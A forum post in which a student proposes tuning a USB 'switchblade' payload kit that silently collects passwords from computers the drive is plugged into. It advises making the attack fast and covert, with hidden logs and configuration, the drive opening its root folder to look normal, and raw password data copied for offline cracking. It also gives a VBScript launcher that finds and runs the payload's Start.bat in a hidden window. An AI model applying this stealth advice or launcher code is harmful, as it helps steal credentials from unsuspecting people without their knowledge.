Hi guys, first of all I'm new here, so I apologize if I'm out of boundaries and for my not-so-good english.
I'm a programmer and student of Computer Engineering, specializing at Networks and Security and this "USB Payload/SwitchBlade/Hacksaw/..." called my attention so I made some scripts with nirsoft stuff.
I recently got a U3 drive so I looked at Gonzor and PocketKnife alternatives.
Now, thinking as a hacker, if you really want to perform an attack, it should be as fast and silent as possible.
So this means NO U3 software, use portable software at the flash drive partition, use PortableApps if you feel lazy.
Use only one configuration file and one script file.
(You can still have profiles and all the choices you can handle, but the configuration used for the "current" attack should be packed into one file)
Should consider copying the raw data from passwords instead of breaking them, as it consumes time, this can be done at your own computer.
By default it opens the logs directory when done... (WTF?)
It should open the root directory, as this is the default behavior of a USB drive.
All information about the attack should at least be hidden: logs config menu.bat
So that the difference of a "normal" USB drive and ours, should only be a delay, hopefully not noticeable.
I took a quick look at the scripts and I feel that it's wasting a lot of time, I would like to try to recode it focusing on my ideas, how should I publish it?
And about the errors when windows doesn't find the file, it's about the Start.bat file, not the Go.vbs, changing the code to:
Set objFSO = CreateObject("Scripting.FileSystemObject")
Set objShell = CreateObject("Wscript.Shell")
Set colDrives = objFSO.Drives
Set objEnv = objShell.Environment("PROCESS")
objEnv("Year") = Year(now())
objEnv("Month") = Right("0" & Month(now()), 2)
objEnv("Day") = Right("0" & Day(now()), 2)
objEnv("Hour") = Right("0" & Hour(now()), 2)
objEnv("Minute") = Right("0" & Minute(now()), 2)
objEnv("Second") = Right("0" & Second(now()), 2)
For Each objDrive in colDrives
strPath = objDrive.Driveletter & ":\SYSTEM\Start.bat"
If objFSO.FileExists(strPath) Then
objShell.Run strPath , 0, False
End If
Next
Will solve this problem, although there are other details...
(You can place a copy of GO.VBS at the normal drive partition to try it out by double click)
Is there a way to flash the u3 partition without backing up and restoring the drive?